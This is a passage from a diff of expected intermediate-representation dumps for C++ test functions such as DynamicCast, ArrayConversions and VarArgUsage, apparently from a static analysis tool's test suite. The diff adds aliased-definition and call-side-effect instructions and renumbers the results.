: r0_55, m0_20 +# 812| r0_57(Base *) = ConvertToBase[Middle : Base] : r0_56 +# 812| r0_58(glval) = VariableAddress[pb] : +# 812| m0_59(Base *) = Store : r0_58, r0_57 +# 813| r0_60(glval) = VariableAddress[pm] : +# 813| r0_61(Middle *) = Load : r0_60, m0_20 +# 813| r0_62(Base *) = ConvertToBase[Middle : Base] : r0_61 +# 813| r0_63(glval) = VariableAddress[pb] : +# 813| m0_64(Base *) = Store : r0_63, r0_62 +# 814| r0_65(glval) = VariableAddress[pm] : +# 814| r0_66(Middle *) = Load : r0_65, m0_20 +# 814| r0_67(Base *) = Convert : r0_66 +# 814| r0_68(glval) = VariableAddress[pb] : +# 814| m0_69(Base *) = Store : r0_68, r0_67 +# 816| r0_70(glval) = VariableAddress[m] : +# 816| r0_71(glval) = FunctionAddress[operator=] : +# 816| r0_72(glval) = VariableAddress[b] : +# 816| r0_73(glval) = ConvertToDerived[Middle : Base] : r0_72 +# 816| r0_74(glval) = Convert : r0_73 +# 816| r0_75(Middle &) = Call : r0_71, this:r0_70, r0_74 +# 816| mu0_76(unknown) = ^CallSideEffect : mu0_2 +# 817| r0_77(glval) = VariableAddress[m] : +# 817| r0_78(glval) = FunctionAddress[operator=] : +# 817| r0_79(glval) = VariableAddress[b] : +# 817| r0_80(glval) = ConvertToDerived[Middle : Base] : r0_79 +# 817| r0_81(glval) = Convert : r0_80 +# 817| r0_82(Middle &) = Call : r0_78, this:r0_77, r0_81 +# 817| mu0_83(unknown) = ^CallSideEffect : mu0_2 +# 818| r0_84(glval) = VariableAddress[pb] : +# 818| r0_85(Base *) = Load : r0_84, m0_69 +# 818| r0_86(Middle *) = ConvertToDerived[Middle : Base] : r0_85 +# 818| r0_87(glval) = VariableAddress[pm] : +# 818| m0_88(Middle *) = Store : r0_87, r0_86 +# 819| r0_89(glval) = VariableAddress[pb] : +# 819| r0_90(Base *) = Load : r0_89, m0_69 +# 819| r0_91(Middle *) = ConvertToDerived[Middle : Base] : r0_90 +# 819| r0_92(glval) = VariableAddress[pm] : +# 819| m0_93(Middle *) = Store : r0_92, r0_91 +# 820| r0_94(glval) = VariableAddress[pb] : +# 820| r0_95(Base *) = Load : r0_94, m0_69 +# 820| r0_96(Middle *) = Convert : r0_95 +# 820| r0_97(glval) = VariableAddress[pm] : +# 820| m0_98(Middle *) = Store : r0_97, r0_96 +# 822| r0_99(glval) = VariableAddress[b] : +# 822| r0_100(glval) = FunctionAddress[operator=] : +# 822| r0_101(glval) = VariableAddress[d] : +# 822| r0_102(glval) = ConvertToBase[Derived : Middle] : r0_101 +# 822| r0_103(glval) = ConvertToBase[Middle : Base] : r0_102 +# 822| r0_104(Base &) = Call : r0_100, this:r0_99, r0_103 +# 822| mu0_105(unknown) = ^CallSideEffect : mu0_2 +# 823| r0_106(glval) = VariableAddress[b] : +# 823| r0_107(glval) = FunctionAddress[operator=] : +# 823| r0_108(glval) = FunctionAddress[Base] : +# 823| r0_109(glval) = VariableAddress[d] : +# 823| r0_110(glval) = ConvertToBase[Derived : Middle] : r0_109 +# 823| r0_111(glval) = ConvertToBase[Middle : Base] : r0_110 +# 823| v0_112(void) = Call : r0_108, r0_111 +# 823| mu0_113(unknown) = ^CallSideEffect : mu0_2 +# 823| r0_114(Base) = Convert : v0_112 +# 823| r0_115(Base &) = Call : r0_107, this:r0_106, r0_114 +# 823| mu0_116(unknown) = ^CallSideEffect : mu0_2 +# 824| r0_117(glval) = VariableAddress[b] : +# 824| r0_118(glval) = FunctionAddress[operator=] : +# 824| r0_119(glval) = FunctionAddress[Base] : +# 824| r0_120(glval) = VariableAddress[d] : +# 824| r0_121(glval) = ConvertToBase[Derived : Middle] : r0_120 +# 824| r0_122(glval) = ConvertToBase[Middle : Base] : r0_121 +# 824| v0_123(void) = Call : r0_119, r0_122 +# 824| mu0_124(unknown) = ^CallSideEffect : mu0_2 +# 824| r0_125(Base) = Convert : v0_123 +# 824| r0_126(Base &) = Call : r0_118, this:r0_117, r0_125 +# 824| mu0_127(unknown) = ^CallSideEffect : mu0_2 +# 825| r0_128(glval) = VariableAddress[pd] : +# 825| r0_129(Derived *) = Load : r0_128, m0_23 +# 825| r0_130(Middle *) = ConvertToBase[Derived : Middle] : r0_129 +# 825| r0_131(Base *) = ConvertToBase[Middle : Base] : r0_130 +# 825| r0_132(glval) = VariableAddress[pb] : +# 825| m0_133(Base *) = Store : r0_132, r0_131 +# 826| r0_134(glval) = VariableAddress[pd] : +# 826| r0_135(Derived *) = Load : r0_134, m0_23 +# 826| r0_136(Middle *) = ConvertToBase[Derived : Middle] : r0_135 +# 826| r0_137(Base *) = ConvertToBase[Middle : Base] : r0_136 +# 826| r0_138(glval) = VariableAddress[pb] : +# 826| m0_139(Base *) = Store : r0_138, r0_137 +# 827| r0_140(glval) = VariableAddress[pd] : +# 827| r0_141(Derived *) = Load : r0_140, m0_23 +# 827| r0_142(Middle *) = ConvertToBase[Derived : Middle] : r0_141 +# 827| r0_143(Base *) = ConvertToBase[Middle : Base] : r0_142 +# 827| r0_144(glval) = VariableAddress[pb] : +# 827| m0_145(Base *) = Store : r0_144, r0_143 +# 828| r0_146(glval) = VariableAddress[pd] : +# 828| r0_147(Derived *) = Load : r0_146, m0_23 +# 828| r0_148(Base *) = Convert : r0_147 +# 828| r0_149(glval) = VariableAddress[pb] : +# 828| m0_150(Base *) = Store : r0_149, r0_148 +# 830| r0_151(glval) = VariableAddress[d] : +# 830| r0_152(glval) = FunctionAddress[operator=] : +# 830| r0_153(glval) = VariableAddress[b] : +# 830| r0_154(glval) = ConvertToDerived[Middle : Base] : r0_153 +# 830| r0_155(glval) = ConvertToDerived[Derived : Middle] : r0_154 +# 830| r0_156(glval) = Convert : r0_155 +# 830| r0_157(Derived &) = Call : r0_152, this:r0_151, r0_156 +# 830| mu0_158(unknown) = ^CallSideEffect : mu0_2 +# 831| r0_159(glval) = VariableAddress[d] : +# 831| r0_160(glval) = FunctionAddress[operator=] : +# 831| r0_161(glval) = VariableAddress[b] : +# 831| r0_162(glval) = ConvertToDerived[Middle : Base] : r0_161 +# 831| r0_163(glval) = ConvertToDerived[Derived : Middle] : r0_162 +# 831| r0_164(glval) = Convert : r0_163 +# 831| r0_165(Derived &) = Call : r0_160, this:r0_159, r0_164 +# 831| mu0_166(unknown) = ^CallSideEffect : mu0_2 +# 832| r0_167(glval) = VariableAddress[pb] : +# 832| r0_168(Base *) = Load : r0_167, m0_150 +# 832| r0_169(Middle *) = ConvertToDerived[Middle : Base] : r0_168 +# 832| r0_170(Derived *) = ConvertToDerived[Derived : Middle] : r0_169 +# 832| r0_171(glval) = VariableAddress[pd] : +# 832| m0_172(Derived *) = Store : r0_171, r0_170 +# 833| r0_173(glval) = VariableAddress[pb] : +# 833| r0_174(Base *) = Load : r0_173, m0_150 +# 833| r0_175(Middle *) = ConvertToDerived[Middle : Base] : r0_174 +# 833| r0_176(Derived *) = ConvertToDerived[Derived : Middle] : r0_175 +# 833| r0_177(glval) = VariableAddress[pd] : +# 833| m0_178(Derived *) = Store : r0_177, r0_176 +# 834| r0_179(glval) = VariableAddress[pb] : +# 834| r0_180(Base *) = Load : r0_179, m0_150 +# 834| r0_181(Derived *) = Convert : r0_180 +# 834| r0_182(glval) = VariableAddress[pd] : +# 834| m0_183(Derived *) = Store : r0_182, r0_181 +# 836| r0_184(glval) = VariableAddress[pmv] : +# 836| r0_185(MiddleVB1 *) = Constant[0] : +# 836| m0_186(MiddleVB1 *) = Store : r0_184, r0_185 +# 837| r0_187(glval) = VariableAddress[pdv] : +# 837| r0_188(DerivedVB *) = Constant[0] : +# 837| m0_189(DerivedVB *) = Store : r0_187, r0_188 +# 838| r0_190(glval) = VariableAddress[pmv] : +# 838| r0_191(MiddleVB1 *) = Load : r0_190, m0_186 +# 838| r0_192(Base *) = ConvertToVirtualBase[MiddleVB1 : Base] : r0_191 +# 838| r0_193(glval) = VariableAddress[pb] : +# 838| m0_194(Base *) = Store : r0_193, r0_192 +# 839| r0_195(glval) = VariableAddress[pdv] : +# 839| r0_196(DerivedVB *) = Load : r0_195, m0_189 +# 839| r0_197(Base *) = ConvertToVirtualBase[DerivedVB : Base] : r0_196 +# 839| r0_198(glval) = VariableAddress[pb] : +# 839| m0_199(Base *) = Store : r0_198, r0_197 +# 840| v0_200(void) = NoOp : +# 799| v0_201(void) = ReturnVoid : +# 799| v0_202(void) = UnmodeledUse : mu* +# 799| v0_203(void) = ExitFunction : # 842| PolymorphicBase::PolymorphicBase() -> void # 842| Block 0 # 842| v0_0(void) = EnterFunction : -# 842| mu0_1(unknown) = UnmodeledDefinition : -# 842| r0_2(glval) = InitializeThis : -# 842| v0_3(void) = NoOp : -# 842| v0_4(void) = ReturnVoid : -# 842| v0_5(void) = UnmodeledUse : mu* -# 842| v0_6(void) = ExitFunction : +# 842| mu0_1(unknown) = AliasedDefinition : +# 842| mu0_2(unknown) = UnmodeledDefinition : +# 842| r0_3(glval) = InitializeThis : +# 842| v0_4(void) = NoOp : +# 842| v0_5(void) = ReturnVoid : +# 842| v0_6(void) = UnmodeledUse : mu* +# 842| v0_7(void) = ExitFunction : # 846| PolymorphicDerived::PolymorphicDerived() -> void # 846| Block 0 # 846| v0_0(void) = EnterFunction : -# 846| mu0_1(unknown) = UnmodeledDefinition : -# 846| r0_2(glval) = InitializeThis : -# 846| r0_3(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_2 -# 846| r0_4(glval) = FunctionAddress[PolymorphicBase] : -# 846| v0_5(void) = Call : r0_4, this:r0_3 -# 846| v0_6(void) = NoOp : -# 846| v0_7(void) = ReturnVoid : -# 846| v0_8(void) = UnmodeledUse : mu* -# 846| v0_9(void) = ExitFunction : +# 846| mu0_1(unknown) = AliasedDefinition : +# 846| mu0_2(unknown) = UnmodeledDefinition : +# 846| r0_3(glval) = InitializeThis : +# 846| r0_4(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_3 +# 846| r0_5(glval) = FunctionAddress[PolymorphicBase] : +# 846| v0_6(void) = Call : r0_5, this:r0_4 +# 846| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 846| v0_8(void) = NoOp : +# 846| v0_9(void) = ReturnVoid : +# 846| v0_10(void) = UnmodeledUse : mu* +# 846| v0_11(void) = ExitFunction : # 846| PolymorphicDerived::~PolymorphicDerived() -> void # 846| Block 0 # 846| v0_0(void) = EnterFunction : -# 846| mu0_1(unknown) = UnmodeledDefinition : -# 846| r0_2(glval) = InitializeThis : -#-----| v0_3(void) = NoOp : -# 846| r0_4(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_2 -# 846| r0_5(glval) = FunctionAddress[~PolymorphicBase] : -# 846| v0_6(void) = Call : r0_5, this:r0_4 -# 846| v0_7(void) = ReturnVoid : -# 846| v0_8(void) = UnmodeledUse : mu* -# 846| v0_9(void) = ExitFunction : +# 846| mu0_1(unknown) = AliasedDefinition : +# 846| mu0_2(unknown) = UnmodeledDefinition : +# 846| r0_3(glval) = InitializeThis : +#-----| v0_4(void) = NoOp : +# 846| r0_5(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_3 +# 846| r0_6(glval) = FunctionAddress[~PolymorphicBase] : +# 846| v0_7(void) = Call : r0_6, this:r0_5 +# 846| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 846| v0_9(void) = ReturnVoid : +# 846| v0_10(void) = UnmodeledUse : mu* +# 846| v0_11(void) = ExitFunction : # 849| DynamicCast() -> void # 849| Block 0 # 849| v0_0(void) = EnterFunction : -# 849| mu0_1(unknown) = UnmodeledDefinition : -# 850| r0_2(glval) = VariableAddress[b] : -#-----| r0_3(glval) = FunctionAddress[PolymorphicBase] : -#-----| v0_4(void) = Call : r0_3, this:r0_2 -# 851| r0_5(glval) = VariableAddress[d] : -# 851| r0_6(glval) = FunctionAddress[PolymorphicDerived] : -# 851| v0_7(void) = Call : r0_6, this:r0_5 -# 853| r0_8(glval) = VariableAddress[pb] : -# 853| r0_9(glval) = VariableAddress[b] : -# 853| m0_10(PolymorphicBase *) = Store : r0_8, r0_9 -# 854| r0_11(glval) = VariableAddress[pd] : -# 854| r0_12(glval) = VariableAddress[d] : -# 854| m0_13(PolymorphicDerived *) = Store : r0_11, r0_12 -# 857| r0_14(glval) = VariableAddress[pd] : -# 857| r0_15(PolymorphicDerived *) = Load : r0_14, m0_13 -# 857| r0_16(PolymorphicBase *) = CheckedConvertOrNull : r0_15 -# 857| r0_17(glval) = VariableAddress[pb] : -# 857| m0_18(PolymorphicBase *) = Store : r0_17, r0_16 -# 858| r0_19(glval) = VariableAddress[rb] : -# 858| r0_20(glval) = VariableAddress[d] : -# 858| r0_21(glval) = CheckedConvertOrThrow : r0_20 -# 858| m0_22(PolymorphicBase &) = Store : r0_19, r0_21 -# 860| r0_23(glval) = VariableAddress[pb] : -# 860| r0_24(PolymorphicBase *) = Load : r0_23, m0_18 -# 860| r0_25(PolymorphicDerived *) = CheckedConvertOrNull : r0_24 -# 860| r0_26(glval) = VariableAddress[pd] : -# 860| m0_27(PolymorphicDerived *) = Store : r0_26, r0_25 -# 861| r0_28(glval) = VariableAddress[rd] : -# 861| r0_29(glval) = VariableAddress[b] : -# 861| r0_30(glval) = CheckedConvertOrThrow : r0_29 -# 861| m0_31(PolymorphicDerived &) = Store : r0_28, r0_30 -# 863| r0_32(glval) = VariableAddress[pv] : -# 863| r0_33(glval) = VariableAddress[pb] : -# 863| r0_34(PolymorphicBase *) = Load : r0_33, m0_18 -# 863| r0_35(void *) = DynamicCastToVoid : r0_34 -# 863| m0_36(void *) = Store : r0_32, r0_35 -# 864| r0_37(glval) = VariableAddress[pcv] : -# 864| r0_38(glval) = VariableAddress[pd] : -# 864| r0_39(PolymorphicDerived *) = Load : r0_38, m0_27 -# 864| r0_40(void *) = DynamicCastToVoid : r0_39 -# 864| m0_41(void *) = Store : r0_37, r0_40 -# 865| v0_42(void) = NoOp : -# 849| v0_43(void) = ReturnVoid : -# 849| v0_44(void) = UnmodeledUse : mu* -# 849| v0_45(void) = ExitFunction : +# 849| mu0_1(unknown) = AliasedDefinition : +# 849| mu0_2(unknown) = UnmodeledDefinition : +# 850| r0_3(glval) = VariableAddress[b] : +#-----| r0_4(glval) = FunctionAddress[PolymorphicBase] : +#-----| v0_5(void) = Call : r0_4, this:r0_3 +#-----| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 851| r0_7(glval) = VariableAddress[d] : +# 851| r0_8(glval) = FunctionAddress[PolymorphicDerived] : +# 851| v0_9(void) = Call : r0_8, this:r0_7 +# 851| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 853| r0_11(glval) = VariableAddress[pb] : +# 853| r0_12(glval) = VariableAddress[b] : +# 853| m0_13(PolymorphicBase *) = Store : r0_11, r0_12 +# 854| r0_14(glval) = VariableAddress[pd] : +# 854| r0_15(glval) = VariableAddress[d] : +# 854| m0_16(PolymorphicDerived *) = Store : r0_14, r0_15 +# 857| r0_17(glval) = VariableAddress[pd] : +# 857| r0_18(PolymorphicDerived *) = Load : r0_17, m0_16 +# 857| r0_19(PolymorphicBase *) = CheckedConvertOrNull : r0_18 +# 857| r0_20(glval) = VariableAddress[pb] : +# 857| m0_21(PolymorphicBase *) = Store : r0_20, r0_19 +# 858| r0_22(glval) = VariableAddress[rb] : +# 858| r0_23(glval) = VariableAddress[d] : +# 858| r0_24(glval) = CheckedConvertOrThrow : r0_23 +# 858| m0_25(PolymorphicBase &) = Store : r0_22, r0_24 +# 860| r0_26(glval) = VariableAddress[pb] : +# 860| r0_27(PolymorphicBase *) = Load : r0_26, m0_21 +# 860| r0_28(PolymorphicDerived *) = CheckedConvertOrNull : r0_27 +# 860| r0_29(glval) = VariableAddress[pd] : +# 860| m0_30(PolymorphicDerived *) = Store : r0_29, r0_28 +# 861| r0_31(glval) = VariableAddress[rd] : +# 861| r0_32(glval) = VariableAddress[b] : +# 861| r0_33(glval) = CheckedConvertOrThrow : r0_32 +# 861| m0_34(PolymorphicDerived &) = Store : r0_31, r0_33 +# 863| r0_35(glval) = VariableAddress[pv] : +# 863| r0_36(glval) = VariableAddress[pb] : +# 863| r0_37(PolymorphicBase *) = Load : r0_36, m0_21 +# 863| r0_38(void *) = DynamicCastToVoid : r0_37 +# 863| m0_39(void *) = Store : r0_35, r0_38 +# 864| r0_40(glval) = VariableAddress[pcv] : +# 864| r0_41(glval) = VariableAddress[pd] : +# 864| r0_42(PolymorphicDerived *) = Load : r0_41, m0_30 +# 864| r0_43(void *) = DynamicCastToVoid : r0_42 +# 864| m0_44(void *) = Store : r0_40, r0_43 +# 865| v0_45(void) = NoOp : +# 849| v0_46(void) = ReturnVoid : +# 849| v0_47(void) = UnmodeledUse : mu* +# 849| v0_48(void) = ExitFunction : # 867| String::String() -> void # 867| Block 0 # 867| v0_0(void) = EnterFunction : -# 867| mu0_1(unknown) = UnmodeledDefinition : -# 867| r0_2(glval) = InitializeThis : -# 868| r0_3(glval) = FunctionAddress[String] : -# 868| r0_4(glval) = StringConstant[""] : -# 868| r0_5(char *) = Convert : r0_4 -# 868| v0_6(void) = Call : r0_3, this:r0_2, r0_5 -# 869| v0_7(void) = NoOp : -# 867| v0_8(void) = ReturnVoid : -# 867| v0_9(void) = UnmodeledUse : mu* -# 867| v0_10(void) = ExitFunction : +# 867| mu0_1(unknown) = AliasedDefinition : +# 867| mu0_2(unknown) = UnmodeledDefinition : +# 867| r0_3(glval) = InitializeThis : +# 868| r0_4(glval) = FunctionAddress[String] : +# 868| r0_5(glval) = StringConstant[""] : +# 868| r0_6(char *) = Convert : r0_5 +# 868| v0_7(void) = Call : r0_4, this:r0_3, r0_6 +# 868| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 869| v0_9(void) = NoOp : +# 867| v0_10(void) = ReturnVoid : +# 867| v0_11(void) = UnmodeledUse : mu* +# 867| v0_12(void) = ExitFunction : # 871| ArrayConversions() -> void # 871| Block 0 # 871| v0_0(void) = EnterFunction : -# 871| mu0_1(unknown) = UnmodeledDefinition : -# 872| r0_2(glval) = VariableAddress[a] : -# 872| mu0_3(char[5]) = Uninitialized : r0_2 -# 873| r0_4(glval) = VariableAddress[p] : -# 873| r0_5(glval) = VariableAddress[a] : -# 873| r0_6(char *) = Convert : r0_5 +# 871| mu0_1(unknown) = AliasedDefinition : +# 871| mu0_2(unknown) = UnmodeledDefinition : +# 872| r0_3(glval) = VariableAddress[a] : +# 872| mu0_4(char[5]) = Uninitialized[a] : r0_3 +# 873| r0_5(glval) = VariableAddress[p] : +# 873| r0_6(glval) = VariableAddress[a] : # 873| r0_7(char *) = Convert : r0_6 -# 873| m0_8(char *) = Store : r0_4, r0_7 -# 874| r0_9(glval) = StringConstant["test"] : -# 874| r0_10(char *) = Convert : r0_9 -# 874| r0_11(glval) = VariableAddress[p] : -# 874| m0_12(char *) = Store : r0_11, r0_10 -# 875| r0_13(glval) = VariableAddress[a] : -# 875| r0_14(char *) = Convert : r0_13 -# 875| r0_15(int) = Constant[0] : -# 875| r0_16(char *) = PointerAdd[1] : r0_14, r0_15 -# 875| r0_17(char *) = Convert : r0_16 -# 875| r0_18(glval) = VariableAddress[p] : -# 875| m0_19(char *) = Store : r0_18, r0_17 -# 876| r0_20(glval) = StringConstant["test"] : -# 876| r0_21(char *) = Convert : r0_20 -# 876| r0_22(int) = Constant[0] : -# 876| r0_23(char *) = PointerAdd[1] : r0_21, r0_22 -# 876| r0_24(glval) = VariableAddress[p] : -# 876| m0_25(char *) = Store : r0_24, r0_23 -# 877| r0_26(glval) = VariableAddress[ra] : -# 877| r0_27(glval) = VariableAddress[a] : -# 877| m0_28(char(&)[5]) = Store : r0_26, r0_27 -# 878| r0_29(glval) = VariableAddress[rs] : -# 878| r0_30(glval) = StringConstant["test"] : -# 878| m0_31(char(&)[5]) = Store : r0_29, r0_30 -# 879| r0_32(glval) = VariableAddress[pa] : -# 879| r0_33(glval) = VariableAddress[a] : -# 879| r0_34(char(*)[5]) = Convert : r0_33 -# 879| m0_35(char(*)[5]) = Store : r0_32, r0_34 -# 880| r0_36(glval) = StringConstant["test"] : -# 880| r0_37(glval) = VariableAddress[pa] : -# 880| m0_38(char(*)[5]) = Store : r0_37, r0_36 -# 881| v0_39(void) = NoOp : -# 871| v0_40(void) = ReturnVoid : -# 871| v0_41(void) = UnmodeledUse : mu* -# 871| v0_42(void) = ExitFunction : +# 873| r0_8(char *) = Convert : r0_7 +# 873| m0_9(char *) = Store : r0_5, r0_8 +# 874| r0_10(glval) = StringConstant["test"] : +# 874| r0_11(char *) = Convert : r0_10 +# 874| r0_12(glval) = VariableAddress[p] : +# 874| m0_13(char *) = Store : r0_12, r0_11 +# 875| r0_14(glval) = VariableAddress[a] : +# 875| r0_15(char *) = Convert : r0_14 +# 875| r0_16(int) = Constant[0] : +# 875| r0_17(char *) = PointerAdd[1] : r0_15, r0_16 +# 875| r0_18(char *) = Convert : r0_17 +# 875| r0_19(glval) = VariableAddress[p] : +# 875| m0_20(char *) = Store : r0_19, r0_18 +# 876| r0_21(glval) = StringConstant["test"] : +# 876| r0_22(char *) = Convert : r0_21 +# 876| r0_23(int) = Constant[0] : +# 876| r0_24(char *) = PointerAdd[1] : r0_22, r0_23 +# 876| r0_25(glval) = VariableAddress[p] : +# 876| m0_26(char *) = Store : r0_25, r0_24 +# 877| r0_27(glval) = VariableAddress[ra] : +# 877| r0_28(glval) = VariableAddress[a] : +# 877| m0_29(char(&)[5]) = Store : r0_27, r0_28 +# 878| r0_30(glval) = VariableAddress[rs] : +# 878| r0_31(glval) = StringConstant["test"] : +# 878| m0_32(char(&)[5]) = Store : r0_30, r0_31 +# 879| r0_33(glval) = VariableAddress[pa] : +# 879| r0_34(glval) = VariableAddress[a] : +# 879| r0_35(char(*)[5]) = Convert : r0_34 +# 879| m0_36(char(*)[5]) = Store : r0_33, r0_35 +# 880| r0_37(glval) = StringConstant["test"] : +# 880| r0_38(glval) = VariableAddress[pa] : +# 880| m0_39(char(*)[5]) = Store : r0_38, r0_37 +# 881| v0_40(void) = NoOp : +# 871| v0_41(void) = ReturnVoid : +# 871| v0_42(void) = UnmodeledUse : mu* +# 871| v0_43(void) = ExitFunction : # 883| FuncPtrConversions(..(*)(..), void *) -> void # 883| Block 0 # 883| v0_0(void) = EnterFunction : -# 883| mu0_1(unknown) = UnmodeledDefinition : -# 883| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 883| m0_3(..(*)(..)) = InitializeParameter[pfn] : r0_2 -# 883| r0_4(glval) = VariableAddress[p] : -# 883| m0_5(void *) = InitializeParameter[p] : r0_4 -# 884| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : -# 884| r0_7(..(*)(..)) = Load : r0_6, m0_3 -# 884| r0_8(void *) = Convert : r0_7 -# 884| r0_9(glval) = VariableAddress[p] : -# 884| m0_10(void *) = Store : r0_9, r0_8 -# 885| r0_11(glval) = VariableAddress[p] : -# 885| r0_12(void *) = Load : r0_11, m0_10 -# 885| r0_13(..(*)(..)) = Convert : r0_12 -# 885| r0_14(glval<..(*)(..)>) = VariableAddress[pfn] : -# 885| m0_15(..(*)(..)) = Store : r0_14, r0_13 -# 886| v0_16(void) = NoOp : -# 883| v0_17(void) = ReturnVoid : -# 883| v0_18(void) = UnmodeledUse : mu* -# 883| v0_19(void) = ExitFunction : +# 883| mu0_1(unknown) = AliasedDefinition : +# 883| mu0_2(unknown) = UnmodeledDefinition : +# 883| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 883| m0_4(..(*)(..)) = InitializeParameter[pfn] : r0_3 +# 883| r0_5(glval) = VariableAddress[p] : +# 883| m0_6(void *) = InitializeParameter[p] : r0_5 +# 884| r0_7(glval<..(*)(..)>) = VariableAddress[pfn] : +# 884| r0_8(..(*)(..)) = Load : r0_7, m0_4 +# 884| r0_9(void *) = Convert : r0_8 +# 884| r0_10(glval) = VariableAddress[p] : +# 884| m0_11(void *) = Store : r0_10, r0_9 +# 885| r0_12(glval) = VariableAddress[p] : +# 885| r0_13(void *) = Load : r0_12, m0_11 +# 885| r0_14(..(*)(..)) = Convert : r0_13 +# 885| r0_15(glval<..(*)(..)>) = VariableAddress[pfn] : +# 885| m0_16(..(*)(..)) = Store : r0_15, r0_14 +# 886| v0_17(void) = NoOp : +# 883| v0_18(void) = ReturnVoid : +# 883| v0_19(void) = UnmodeledUse : mu* +# 883| v0_20(void) = ExitFunction : # 888| VarArgUsage(int) -> void # 888| Block 0 # 888| v0_0(void) = EnterFunction : -# 888| mu0_1(unknown) = UnmodeledDefinition : -# 888| r0_2(glval) = VariableAddress[x] : -# 888| mu0_3(int) = InitializeParameter[x] : r0_2 -# 889| r0_4(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 889| mu0_5(__va_list_tag[1]) = Uninitialized : r0_4 -# 891| r0_6(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 891| r0_7(__va_list_tag *) = Convert : r0_6 -# 891| r0_8(glval) = VariableAddress[x] : -# 891| v0_9(void) = VarArgsStart : r0_7, r0_8 -# 892| r0_10(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 892| mu0_11(__va_list_tag[1]) = Uninitialized : r0_10 -# 893| r0_12(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 893| r0_13(__va_list_tag *) = Convert : r0_12 -# 893| r0_14(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 893| r0_15(__va_list_tag *) = Convert : r0_14 -# 893| v0_16(void) = VarArgsStart : r0_13, r0_15 -# 894| r0_17(glval) = VariableAddress[d] : -# 894| r0_18(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 894| r0_19(__va_list_tag *) = Convert : r0_18 -# 894| r0_20(glval) = VarArg : r0_19 -# 894| r0_21(double) = Load : r0_20, mu0_1 -# 894| m0_22(double) = Store : r0_17, r0_21 -# 895| r0_23(glval) = VariableAddress[f] : -# 895| r0_24(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 895| r0_25(__va_list_tag *) = Convert : r0_24 -# 895| r0_26(glval) = VarArg : r0_25 -# 895| r0_27(double) = Load : r0_26, mu0_1 -# 895| r0_28(float) = Convert : r0_27 -# 895| m0_29(float) = Store : r0_23, r0_28 -# 896| r0_30(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 896| r0_31(__va_list_tag *) = Convert : r0_30 -# 896| v0_32(void) = VarArgsEnd : r0_31 -# 897| r0_33(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 897| r0_34(__va_list_tag *) = Convert : r0_33 -# 897| v0_35(void) = VarArgsEnd : r0_34 -# 898| v0_36(void) = NoOp : -# 888| v0_37(void) = ReturnVoid : -# 888| v0_38(void) = UnmodeledUse : mu* -# 888| v0_39(void) = ExitFunction : +# 888| mu0_1(unknown) = AliasedDefinition : +# 888| mu0_2(unknown) = UnmodeledDefinition : +# 888| r0_3(glval) = VariableAddress[x] : +# 888| mu0_4(int) = InitializeParameter[x] : r0_3 +# 889| r0_5(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 889| mu0_6(__va_list_tag[1]) = Uninitialized[args] : r0_5 +# 891| r0_7(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 891| r0_8(__va_list_tag *) = Convert : r0_7 +# 891| r0_9(glval) = VariableAddress[x] : +# 891| v0_10(void) = VarArgsStart : r0_8, r0_9 +# 892| r0_11(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 892| mu0_12(__va_list_tag[1]) = Uninitialized[args2] : r0_11 +# 893| r0_13(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 893| r0_14(__va_list_tag *) = Convert : r0_13 +# 893| r0_15(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 893| r0_16(__va_list_tag *) = Convert : r0_15 +# 893| v0_17(void) = VarArgsStart : r0_14, r0_16 +# 894| r0_18(glval) = VariableAddress[d] : +# 894| r0_19(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 894| r0_20(__va_list_tag *) = Convert : r0_19 +# 894| r0_21(glval) = VarArg : r0_20 +# 894| r0_22(double) = Load : r0_21, mu0_2 +# 894| m0_23(double) = Store : r0_18, r0_22 +# 895| r0_24(glval) = VariableAddress[f] : +# 895| r0_25(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 895| r0_26(__va_list_tag *) = Convert : r0_25 +# 895| r0_27(glval) = VarArg : r0_26 +# 895| r0_28(double) = Load : r0_27, mu0_2 +# 895| r0_29(float) = Convert : r0_28 +# 895| m0_30(float) = Store : r0_24, r0_29 +# 896| r0_31(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 896| r0_32(__va_list_tag *) = Convert : r0_31 +# 896| v0_33(void) = VarArgsEnd : r0_32 +# 897| r0_34(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 897| r0_35(__va_list_tag *) = Convert : r0_34 +# 897| v0_36(void) = VarArgsEnd : r0_35 +# 898| v0_37(void) = NoOp : +# 888| v0_38(void) = ReturnVoid : +# 888| v0_39(void) = UnmodeledUse : mu* +# 888| v0_40(void) = ExitFunction : # 900| CastToVoid(int) -> void # 900| Block 0 # 900| v0_0(void) = EnterFunction : -# 900| mu0_1(unknown) = UnmodeledDefinition : -# 900| r0_2(glval) = VariableAddress[x] : -# 900| mu0_3(int) = InitializeParameter[x] : r0_2 -# 901| r0_4(glval) = VariableAddress[x] : -# 901| v0_5(void) = Convert : r0_4 -# 902| v0_6(void) = NoOp : -# 900| v0_7(void) = ReturnVoid : -# 900| v0_8(void) = UnmodeledUse : mu* -# 900| v0_9(void) = ExitFunction : +# 900| mu0_1(unknown) = AliasedDefinition : +# 900| mu0_2(unknown) = UnmodeledDefinition : +# 900| 